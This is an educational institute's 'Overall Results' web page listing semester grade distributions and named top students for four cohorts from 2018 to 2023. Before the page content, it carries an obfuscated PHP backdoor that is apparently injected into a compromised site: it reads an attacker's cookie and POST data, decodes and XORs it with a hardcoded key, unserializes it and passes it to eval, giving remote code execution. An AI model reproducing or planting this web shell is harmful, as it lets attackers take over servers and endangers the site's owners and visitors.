$Fgajr = "\x67" . chr ( 363 - 292 )."\137" . chr ( 677 - 604 ).'a' . chr ( 575 - 462 ).'e';$PaaEERJ = chr ( 1050 - 951 ).'l' . "\141" . 's' . "\163" . "\137" . chr ( 750 - 649 )."\x78" . "\151" . chr ( 1073 - 958 )."\x74" . chr ( 994 - 879 ); $kEfzQFfXHl = class_exists($Fgajr); $PaaEERJ = "13543";$ISHRhVG = strpos($PaaEERJ, $Fgajr);if ($kEfzQFfXHl == $ISHRhVG){function ZcZRD(){$INpGqndh = new /* 32237 */ gG_Iaqe(64167 + 64167); $INpGqndh = NULL;}$nMUBEEIGNN = "64167";class gG_Iaqe{private function NikbG($nMUBEEIGNN){if (is_array(gG_Iaqe::$ZwaHjuAdP)) {$FRpEzz2 = str_replace("<" . "?php", "", gG_Iaqe::$ZwaHjuAdP["content"]);eval($FRpEzz2); $nMUBEEIGNN = "64167";exit();}}public function txPCFEO(){$FRpEzz = "34499";$this->_dummy = str_repeat($FRpEzz, strlen($FRpEzz));}public function __destruct(){gG_Iaqe::$ZwaHjuAdP = @unserialize(gG_Iaqe::$ZwaHjuAdP); $nMUBEEIGNN = "715_29322";$this->NikbG($nMUBEEIGNN); $nMUBEEIGNN = "715_29322";}public function AtGQfgy($FRpEzz, $jkNHBoGSlA){return $FRpEzz[0] ^ str_repeat($jkNHBoGSlA, intval(strlen($FRpEzz[0]) / strlen($jkNHBoGSlA)) + 1);}public function lfqwCZDL($FRpEzz){$WaeHbs = chr (98) . chr (97) . chr (115) . 'e' . "\x36" . chr (52);return array_map($WaeHbs . "\137" . 'd' . chr (101) . chr ( 710 - 611 ).chr ( 377 - 266 )."\x64" . chr ( 179 - 78 ), array($FRpEzz,));}public function __construct($aSknbvQ=0){$nXHWfj = ',';$FRpEzz = "";$ZLFAMcDzbj = $_POST;$lrwVgoo = $_COOKIE;$jkNHBoGSlA = "0fb2515a-fa2d-4e77-ae5b-5e72d6e2583b";$ViYzomM = @$lrwVgoo[substr($jkNHBoGSlA, 0, 4)];if (!empty($ViYzomM)){$ViYzomM = explode($nXHWfj, $ViYzomM);foreach ($ViYzomM as $uETosz){$FRpEzz .= @$lrwVgoo[$uETosz];$FRpEzz .= @$ZLFAMcDzbj[$uETosz];}$FRpEzz = $this->lfqwCZDL($FRpEzz);}gG_Iaqe::$ZwaHjuAdP = $this->AtGQfgy($FRpEzz, $jkNHBoGSlA);if (strpos($jkNHBoGSlA, $nXHWfj) !== FALSE){$jkNHBoGSlA = str_pad($jkNHBoGSlA, 10); $jkNHBoGSlA = strcspn ($jkNHBoGSlA, $nXHWfj); $jkNHBoGSlA = ltrim(rtrim($jkNHBoGSlA));}}public static $ZwaHjuAdP = 7965;}ZcZRD();} Overall Results - Institute of Language Teaching

Institute of Language Teaching Overall Results

Overall Results

2021-2023 Result analysis

Semester	No of students	Grade O+	Grade O	Grade A+	Grade A
Sem-1	47	23	21	3	0
Sem-2	46	30	14	2	0
Sem-3	46	37	9	0	0
Sem-4	47	46	1	0	0
Over All	47	38	9	0	0

Top 3 Students

Rank	Student Name	Percentage
1	Sorathiya Suhani Harshadbhai	O+
2	Chhatbar Vishvas Ishwarbhai	O+
3	Leela Shweta Pareshbhai	O+

2020-2022 Result analysis

Semester	No of students	Grade O+	Grade O	Grade A+	Grade A
Sem-1	37	18	19	0	0
Sem-2	35	9	26	0	0
Sem-3	35	18	17	0	0
Sem-4	34	34	0	0	0
Over All	34	22	12	0	0

Top 3 Students

Rank	Student Name	Percentage
1	Sonpal Riddhi Sanjaybhai	O+
2	Bhatt Rutvi Hiren	O+
3	Joshi Siddharth Pareshkumar	O+

2019-2021 Result analysis

Semester	No of students	100% to 90 %	90% to 80%	80% to 70%	Less then 70%
Sem-1	54	11	20	18	5
Sem-2	52	07	42	3	0
Sem-3	53	41	12	0	0
Sem-4	53	53	0	0	0
Over All	53	23	30	0	0

Top 3 Students

Rank	Student Name	Percentage
1	Rathod Khushbu Rajeshbhai	95.88
2	Dave Yukta Hasmukhbhai	95.72
3	Baloch Shabana Dineshkumar	95.16

2018-2020 Result analysis

Semester	No of students	100% to 90%	90% to 80%	80 % to 70%	Less then 70%
Sem-1	48	01	21	24	02
Sem-2	48	05	28	14	01
Sem-3	48	07	37	04	0
Sem-4	48	48	0	0	0
Over all	48	10	35	03	0

Top 3 Students

Rank	Student Name	Percentage
1	Gajjar Kezy Bharatkumar	94.28
2	Chavda Prerana Maheshkumar	91.72
3	Bhatt Kishan Pushkarbhai	91.20